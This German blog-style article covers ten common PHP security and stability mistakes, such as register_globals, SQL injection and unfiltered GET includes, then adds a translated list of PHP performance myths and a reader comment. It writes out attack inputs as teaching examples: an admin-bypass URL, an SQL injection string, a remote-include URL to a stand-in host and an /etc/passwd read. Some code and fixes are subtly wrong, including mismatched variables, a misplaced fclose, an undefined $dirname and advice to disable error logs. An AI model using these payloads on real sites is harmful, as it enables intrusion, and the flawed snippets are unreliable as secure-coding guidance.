Jeder Programmierer hatte schon einmal mit peinlichen Programmierfehlern zu tun, die leicht zu Sicherheits- oder Stabilitätsproblemen bei Scripten und Anwendungen führen können. Ob sie nun aufgrund von Unerfahrenheit oder vereinzelter fauler Angewohnheiten der Entwickler gemacht wurden, viele dieser Fehler sind weiter verbreitet, als Sie denken und dennoch komplett vermeidbar.
Was ist PHP?
PHP, ursprünglich “Personal Home Page Tools” und heute “Hypertext Preprocessor” genannt, ist die meistgenutzte Sprache zur Erstellung von dynamischen Webseiten beziehungsweise Webapplikationen. PHP kann zur Anbindung an Datenbanken genutzt und leicht mit HTML oder anderen Scriptsprachen kombiniert werden.
Das gesamte PHP-Script wird serverseitig ausgeführt, sodass der Client den PHP-Quelltext nicht nachvollziehen kann. Durch die serverseitige Verarbeitung muss der Server beziehungsweise der Webspace allerdings die PHP-Software installiert haben. Vorteilhaft ist außerdem, dass Fremde den eigenen Quellcode nicht einsehen können, da vom Server lediglich HTML zurückgegeben wird.
Da zum Ausführen von PHP eine serverseitige Verarbeitung notwendig ist, kann eine PHP-Datei nur mit diversen Programmen, wie zum Beispiel “Apache” , auch unter Windows auf dem Heim-PC ausgeführt werden.
In den letzten paar Jahren, in denen ich Server administriert habe, habe ich jede Menge Programmierfehlen gesehen, die zu gehackten Sites und Serverzusammenbrüchen geführt haben und das Anwendervertrauen zerstörten. Ich habe eine Liste der am meisten verbreiteten Fehler zusammengestellt, die ich sowohl bei Novizen als auch bei erfahrenen PHP-Programmierern sehe und ich verrate auch, wie man sie behebt.
Fehler 1: Nicht mit der Zeit gehen
Ich weiß, was in Ihnen vorgeht – ich habe eine Großmutter, die immer noch eine Kamera mit Film benutzt. Wenn Sie immer noch in aller Zufriedenheit mit PHP 4 programmieren in dem Wissen, dass Ihre Scripte den Bach runtergehen, sollten sie jemals neueren Versionen ausgesetzt werden, müssen Sie Ihre Prioritäten wirklich neu bewerten. Nehmen Sie sich etwas Zeit, um Ihren Code in einer moderneren Entwicklungsumgebung aufzubauen und herauszufinden, welche Teile nicht funktionieren und was Sie reparieren müssen. Das braucht definitiv seine Zeit, ist die Sache aber wirklich wert.
Fehler #2: Verwendung von Register Globals
Willkommen im Jahr 2000. Die PHP-Entwickler und Anhängergemeinden raten seit mittlerweile mehr als 10 Jahren von der Verwendung von register_globals
ab, aber das ist bei vielen Programmierern der alten Schule und Entwicklerneulingen, die weiterhin dieser nicht anzuratenden Programmierpraxis frönen, immer noch nicht angekommen.
Für manche sind register_globals
einfach nur die Art und Weise, in der sich PHP verhält. Für alle anderen, die sich ihrer Sicherheitsauswirkungen bewusst geworden sind, hat die kleine Unbequemlichkeit, EGPCS-Variablen (Environment, GET, POST, Cookie, Server) zu definieren, eine große Tragweite beim Schutz gegen unbeabsichtigte Sicherheitsexploits. Lassen Sie uns dieses einfache Beispiel nehmen, das Teil des PHP-Codes in einer login.php
-Datei am empfangenden Ende eines Formulars ist, das eine Passwortvariable sendet:
if (isset($_POST['password']) && $_POST['password'] == "SK^*#@J4") {$admin = TRUE;}if($admin == TRUE){echo "You're an admin!";}
Ich brauche nicht das Login-Formular zu verwenden, um mich gegenüber dem Script als Admin auszuweisen. Wenn ich aus dem Browser /login.php?admin=1 aufrufe und register_globals
eingeschaltet sind, identifiziert PHP die GET
-Variable für $admin
und generiert sie im Fluge und weist ihr den Wert TRUE zu. Das hätte vermieden werden können, indem man die Variable $admin durch Hinzufügen des folgenden Codes am Anfang des Scripts initialisiert:$admin = FALSE;
Ich betone an dieser Stelle, dass register_globals
an sich nicht notwendigerweise das Problem sind, sondern eher die Aktionen der Entwickler, die das Konzept von globalen Variablen in einer Weise missbrauchen, die eine Webanwendung beschädigen kann. Am Besten fahren Sie, wenn Sie die Verwendung von register_globals
komplett deaktivieren, anstatt Ihrem Code Pflaster aufzulegen.
Der erste Schritt, mit dem Sie sich von register_globals
abnabeln, ist einfach deren Deaktivierung in php.ini and dann nachzusehen, ob Ihre Site funktioniert. Die Teile Ihrer Site, die dadurch betroffen werden, sind einleuchtenderweise die, die POST
– und GET
– Eingaben empfangen, wie zum Beispiel Formulare. Obwohl die Verwendung von register_globals eins der am weitesten verbreiteten Probleme ist, die ich sehe, ist es wahrscheinlich das am einfachsten zu lösende – schalten Sie sie aus und deklarieren Sie EGPCS-Variablen, bevor Sie sie verwenden. Ein Glück für Sie, dass PHP 5.3 register_globals nicht mehr als gültige Einstellung anerkennt.
Fehler #3: Verwendung unsicherer Authentifizierung
Sie denken vielleicht, dass die Leute nicht versuchen, in Ihre Site einzubrechen, aber sie tun es. Jeden Tag werden Seiten gehackt, weil schlecht implementierte Authentifizierungsmethoden eingebaut wurden, einfach nur, weil sie leicht einzurichten waren. Wenn es darum geht, sensible Informationen zu schützen, sollten Sie niemals mit bequemen Programmiertechniken pokern.
An jeder Stelle Ihrer Site, an der Authentifizierung erforderlich ist, um auf sensible Informationen zuzugreifen, sollten Sie zumindest grundlegende Sicherheitsmaßnahmen bei der Verschlüsselung und Speicherung von Passwörtern, Cookies und Sitzungsdaten treffen. Nachstehend finden Sie einige sehr einfache Tutorials für die Erstellung eines sichereren Login-Systems für eine Webanwendung:
- http://phpsec.org/articles/2005/password-hashing.html
- http://www.informit.com/articles/article.aspx?p=31690&seqNum=5
- http://www.tutorialtastic.co.uk/tutorial/creating_a_secure_php_login_page
- http://www.phpeasystep.com/phptu/6.html
Fehler #4: Keine Validierung von Eingaben
Wir alle haben schon von einer MySQL-Injection gehört, zu der es kommen kann, wenn jemand MySQL-Befehle in ein Textfeld eingibt, das mit der Datenbank kommuniziert, um die Datenbank dazu zu bewegen, etwas zu tun, was sie nicht tun sollte. Ich verwende das einfachste und berühmteste Beispiel für eine MySQL-Injection – hier ist der erste Teil des Codes, der einen Usernamen als POST
-Variable akzeptiert:
$username = $_POST['username'];$query = "SELECT * FROM users WHERE username = '$name'";
Sagen wir mal, jemand friemelt an meinem Formular herum und sendet in dem Feld username die folgende MySQL-Anweisung:
DELETE FROM users WHERE 1 or username = '"
In einem nicht validierten Formular würde das die komplette Usertabelle in der Datenbank auslöschen. Das obige Beispiel könnte man angehen, indem man die Funktion mysql_real_escape_string
um den Wert von $username
wickelt.
Aber was tun in anderen Fällen, in denen es nicht eine Datenbank ist, die attackiert wird? Validierung ist der Schlüssel für jedes Formular, das Daten verarbeitet – ob Sie nun Live-Validierung mit Ajax verwenden oder die Verantwortung für das Filtern von Eingabe-Strings PHP überlassen.
Fehler #5: Verantwortungslose Verwendung von GET-Variablen
Nehmen wir eine sehr einfache URL-Struktur: http://example.com/index.php?page=page
Für jeden, der sich dieses Formular von außen ansieht, ist das keine große Sache – in PHP-Scripts setzen wir dauernd GET
-Variablen ein. Für Hacker ist das jedoch eine Goldmine für das Ausbeuten von Code, wobei Sie sich an der Möglichkeit festhalten, dass die GET
-Variable tatsächlich nicht gefiltert wird. Lassen Sie uns einen Blick auf die index.php
werfen:
if(!empty($_GET['page'])){$content = $_GET['page'];$fh = fopen($content, "r");while (!feof($fh)) {$line = fgets($fh);echo $line;fclose($fh);}
Der obige Code fängt einfach den Wert von $content der URL ein und verwendet ihn, um eine lokale Datei mit demselben Namen zu laden. Natürlich sind wir jetzt offen dafür, dass so etwas wie das hier passiert:http://example.com/index.php?file=http://badsite.com/badscript.pl
oderhttp://example.com/index.php?file=/etc/passwd
Wenn man schlechte Programmierung generell einmal beiseite stellt, kann das vorstehende Problem durch die Verwendung von ein paar Funktionen verhindert werden, die das Vorhandensein und die Standorte von GET
validieren: file exists und dirname:
if(!file_exists($content) OR $dirname != "/home/user/public_html"){echo "Cannot display content";}
Das alles führt zur Verwendung von richtigen Validierungstechniken zurück. Jedes Mal, wenn Sie GET-
oder POST
-Variablen verwenden, sollte Ihr Script wissen, wie es auf unerwartete Eingaben zu reagieren hat. Und Sie sollten niemals GET
-Variablen verwenden, um Informationen zu definieren, die leicht missbraucht werden können – wie etwa, ob ein User eingeloggt ist. Folgendes wäre zum Beispiel eine sehr schlechte Idee:http://example.com/index.php?user=me&logged_in=1
Fehler #6: Der Loopus furiosus
Wir alle kennen den “Loopus furiosus”. Das ist, was passiert, wenn Sie eine while
-Schleife basierend auf einer Bedingung haben, die niemals erfüllt werden kann und Sie enden mit einem außer Kontrolle geratenen Script und einem wütenden Host der sich bereit macht, Sie herunterzufahren.
Hier ein Beispiel für einen Loopus furiosus:
$i = 1;while ($i <= 1000) {// missing $i++;echo $i;}
Basierend auf dem obigen Code wird $i
niemals 1.000 sein und daher wird die Schleife ewig weiterlaufen, da sich $i
nicht erhöht.
Wenn Sie while
-Schleifen verwenden, insbesondere auf der Basis von Bedingungen, stellen Sie sicher, dass es möglich ist, die Bedingung der Schleife zu erfüllen und legen Sie fest, was stattdessen passieren soll, wenn das nicht geschieht. Ein einfacher Weg ist es, den Wert max_execution_time
einzustellen, damit der Loopus furiosus nicht ewig laufen kann.
Fehler #7: Freie TMIs herausgeben
Das Standardverhalten von PHP, Fehler auszuspucken, ist für Sie, den Entwickler, sehr nützlich. Wissen Sie, für wen das auch nützlich ist? Für Personen, die Ihre Site hacken wollen.
Manchmal, wenn die Dinge nicht wie erwartet laufen und einem PHP-Script aus der Patsche geholfen werden muss, bietet es ein paar Informationen zu viel an:
PHP Warning: Invalid argument supplied for foreach() in /home/user/public_html/includes/secret/process.php on line 806
Warning: mysql_connect(): Access denied for user: 'username@localhost' (Using password: YES) in /home/user/public_html/includes/mysql.class.php on line 75
Tun Sie sich selbst einen Gefallen und behalten Sie die Daten zum Debuggen für sich selbst. In php.ini können Sie Fehlermitteilungen deaktivieren, indem Sie display_errors
auf Off
stellen und Sie sollten das auch mit log_errors
tun, so dass Fehlerlogs gar nicht generiert werden. Wenn Sie Ihre Fehlerlogs brauchen, deaktivieren Sie den Browserzugriff darauf, indem Sie eine einfache .htaccess-Regel verwenden:
order allow,deny
deny from all
Fehler #8: Falsche Anwendung von Semikolons
Ich kann Ihnen nicht sagen, wie oft das passiert – die Verwendung von Semikolons in if- und while-Anweisungen, bevor eine Aktion aufgerufen wird. Das beendet im Wesentlichen den Ablauf und führt Code aus, der auf einer Bedingung hätte basieren sollen:
if ($logged_in == TRUE);{display_very_sensitive_info();}
Das kann ein Problem sein, wenn Sie die folgenden Funktionen verwenden:
- if
- while
- for
- foreach
- switch
- declare
In PHP werden Semikolons immer dazu verwendet, um eine Anweisung zu beenden. Behalten Sie jedoch im Hinterkopf, dass Kontrollfunktionen ohne ihre Aktionen nicht vollständig sind.
Fehler #9: Verwendung von falschen Operatoren
Das ist ein Fehler, der im Allgemeinen von eher ungeübten Programmierern gemacht wird, ich kann jedoch nicht behaupten, dass ich nicht gelegentlich immer noch den Tippfehler mache und ein Gleichheitszeichen in einer Bedingung auslasse:
if($logged_in = "1"){echo "You're logged in!";}
Das ist schlimmer als die Verwendung von register_globals
, in denen ich auf die Schnelle eine Variable generiert habe, die den richtigen Wert, der durch eine komplexere Berechnung festgelegt wurde, überschreibt, die jetzt sinnlos ist. Es ist wichtig, dass Sie Ihre Operatoren nicht durcheinander bringen, insbesondere dann, wenn Gleichheitszeichen verwendet werden, die Werte definieren und vergleichen.
Fehler #10: Denken, dass man Sie nicht kriegen kann
Der letzte Punkt, den ich machen werde ist, dass Sie, wenn Sie denken, es gibt keine Möglichkeit, dass Sie jemals ein Problem haben werden, wahrscheinlich falsch liegen.
Sicherheit ist ein fortlaufender Prozess, eine Schlacht und ein Kampf. Es ist Ihr Job als Entwickler, sich über die neuesten Sicherheitstrends auf dem Laufenden zu halten und Ihre Anwendungen gründlich zu testen, bevor Sie sie ausliefern.
Ich habe festgestellt, dass die Befolgung der Grundlagen, die ich in diesem Artikel auseinandergesetzt habe, ein ausgezeichneter Trittstein sind, um Anwendungen sicher zu machen. Aber vergessen Sie nicht, Sie müssen wie ein Hacker denken und egal, wie gut Sie als Programmierer sind, es wird immer jemanden geben, der besser ist.
13 Mythen um PHP
PHP 5.3 soll bis zu 30 Prozent schneller werden – diese erfolgversprechende Bekanntgabe vor wenigen Wochen war für die Entwickler-Community wie eine frische Briese auf ruhigem Meer. Interessante Anwendungen und originelle Fachbeiträge schießen auf einmal wie Pilze aus dem Boden. Einen lesenswerten Artikel in Form einer Zusammenfassung fand ich im russischsprachigen Raum, den ich für Dr. Web-Leser frei übersetzt habe.
1.
Ganz gleich an welchen Stellen und Schrauben im PHP-Code gedreht wird, die eingesetzte und referenzierte Datenbank bleibt für immer der enge Flaschenhals. Anstatt die kostbare Zeit mit der Optimierung von PHP zu vergolden, beschäftigt man sich sinnvollerweise mit anderen Methoden, die nachweisbar mehr Performance-Gewinn versprechen. Als Beispiel: Lighttpd und Nginx antworten auf gestellte Requests ohne mit der Wimper zu zucken – auch wenn mehrere Tausend gleichzeitig eintreffen.
2.
Eine richtige Entscheidung für eine deutlich spürbare Beschleunigung des Codes und somit des Projekts ist der Einsatz eines Beschleunigers. Die Effizienz von PHP steigt mithilfe eines richtig gewählten und perfekt konfigurierten Accelerators, zum Beispiel von Zend, um bis zu 60 Prozent. Jetzt ist Ihnen klar, was Sie mit dem Schießpulver (= Beschleuniger) anstellen können, laden Sie Ihre Waffe (= PHP).
3.
Es spielt überhaupt keine Rolle, ob der ausgeführte PHP-Code komplett von Anfang bis zum Ende objektorientiert geschrieben ist oder ausschließlich aus Funktionen (PHP 4 like also) besteht oder ganz nach dem Motto “Endlich geschafft!” umgesetzt wurde – einer gecachten Ausgabe ist die Bauweise des Quellcodes absolut gleichgültig. Konzentrieren Sie sich auf etwas anderes.
4.
Gar kein Code ist immer der schnellste Code. Das Caching soll zum primären Ansatz für steigende Leistungsfähigkeit der Skripte werden. Lassen Sie jede andere Art der Optimierung am Straßenrand liegen und cachen Sie alles und überall. Es gibt nichts, was sich nicht zwischenspeichern lässt – vielleicht nur Dinge, die sich so oft aktualisieren, dass ihre Umwandlung ins Statische nicht hinterher kommen würde. Das einzige Problem bei gleichzeitiger Herausforderung: Den Browser zum richtigen Zeitpunkt zuverlässig über neu generierte Inhalte informieren. Losgeschickte Header sind in solchen Fällen großartige Helfer.
5.
Sie sind davon überzeugt, PHP führt den Befehl echo zügiger aus als den Rivalen print? Das stimmt schon, doch eigentlich ist diese These für einen professionellen Programmierer nicht von Bedeutung, denn aus dem Code heraus sollen maximal 3 Ausgaben gestartet werden: Jeweils im Frontend-, AJAX- und RSS-Controller. Egal wie groß ein Projekt ist, mehr Outputs darf es einfach nicht geben.
7.
echo “preved $foo $bar”;
echo ‘preved ‘ . $foo . ‘ ‘ . $bar;
echo ‘preved ‘, $foo, ‘ ‘, $bar;
sprintf(‘preved %1$s %2$s’, $foo, $bar);
Auf Anhieb können Sie sagen, welche der aufgelisteten Anweisungen am schnellsten ausgeführt wird? Diese Tatsache ist nur selten von Relevanz: Sehr oft kommt es auf das jeweilige Konzept, Anzahl der Variablen und notwendige Flexibilität im Code an. sprintf mag zwar langsamer arbeiten, kann dafür einen fest definierten Parameter an mehreren Stellen im String einsetzen.
8.
Mieten Sie sich einen virtuellen Root-Server! Installieren Sie alle Module, die Sie für PHP brauchen, um Leistung zu steigern. Probieren Sie aus. Werten Sie aus. Werden Sie unabhängig. Werden Sie Root-Allmächtig.
9.
Zwingen Sie nicht Ihre PHP-Installation, unter Windows zu arbeiten – höchstens als Entwicklungsumgebung, dann aber Schluss. Quälen Sie PHP nicht, die mächtige Sprache hat Besseres verdient.
10.
Noch mal das Thema „Accelerator“: Kein (umfangreiches) Projekt ohne. Im anderen Fall schaden Sie sich selbst, PHP, dem Server und nicht zuletzt dem Nutzer auf der anderen Seite der Leitung, die in seinen Augen unendlich lang zu sein scheint.
11.
Wenn Sie der Meinung sind, PHP 5 als Sprache von A bis Z zu beherrschen und alle Fallstricke zu kennen, da täuschen Sie sich gewaltig. Es gibt immer was zu lernen, es kann immer was verbessert werden. Forschen Sie tiefer im Gebiet, legen Sie einen neuen Schwerpunkt fest.
12.
PHP 5 (vergessen Sie übrigens PHP 4) wird von einer mächtigen Community unterstützt und begleitet. Doch Achtung: Lernen Sie zu unterscheiden, wer aus der Menschenmenge lediglich ein Anfänger ist, tut aber erwachsen und allwissend zu sein. Sind Sie in der Lage zu separieren, lernen Sie „richtiges“ PHP von echten Profis. Fragen Sie, interessieren Sie sich, opfern Sie Ihre Zeit – nur so sammeln Sie wertvolle Erfahrung und kommen den wahren Stärken näher.
13.
Glauben Sie keinen leichtsinnigen Behauptungen, welche PHP als unausgereifte, schlichte und nicht konkurrenzfähige Technologie beschimpfen. Bringen Sie sich mindestens 90% des Gesamtumfangs bei und halten Sie fest, was Ihnen tatsächlich für bequemes und erfolgreiches Programmieren fehlt. Bilden Sie sich selbst eine Meinung.
Hinweis
Die angesprochenen Techniken haben natürlich nur bei Projekten mit einem gewissen Grad an Komplexität ihre Gültigkeit und Auswirkung.
Quellen: http://habrahabr.ru/blog/php/39115.html und Meldung bei Golem
Erstveröffentlichung 08.04.2008
Eine Antwort
Zu #5: Bitte nur per Whitelist includen..
Zu #9: Über “Yoda Conditions” lässt sich das Problem umgehen, wenn man Konstanten oder Literale mit Variablen vergleicht (nicht jedoch Variablen mit Variablen):
http://www.phphatesme.com/blog/allgemein/yoda-conditions/
Zudem meckert das eine gute IDE an, wenn man ein einfaches Gleichzeichen verwendet.